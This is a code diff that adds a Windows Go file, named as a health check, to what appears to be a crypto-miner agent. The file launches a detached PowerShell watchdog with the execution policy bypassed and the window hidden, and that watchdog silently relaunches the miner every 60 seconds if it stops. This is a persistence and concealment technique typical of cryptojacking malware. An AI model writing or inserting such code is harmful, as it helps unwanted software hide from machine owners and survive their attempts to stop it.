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agent/deploy/health_windows.go

@@ -0,0 +1,43 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// launchProcessGuard spawns a hidden PowerShell loop that watches for the
+// installed miner process by name and relaunches it if it disappears.
+// The guardian runs completely outside this process — it survives a crash.
+func launchProcessGuard(cfg config.RuntimeConfig) {
+	installDir, err := cfg.InstallDirectory()
+	if err != nil {
+		return
+	}
+	binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
+	procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
+
+	// Loop every 60 s. If the process is gone and the binary still exists, restart it.
+	ps := fmt.Sprintf(`
+$bin  = '%s'
+$proc = '%s'
+while ($true) {
+    Start-Sleep -Seconds 60
+    if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
+        if (Test-Path $bin) {
+            Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
+        }
+    }
+}
+`, binPath, procName)
+
+	cmd := exec.Command("powershell",
+		"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
+		"-Command", ps)
+	applyDetachedStart(cmd)
+	_ = cmd.Start()
+}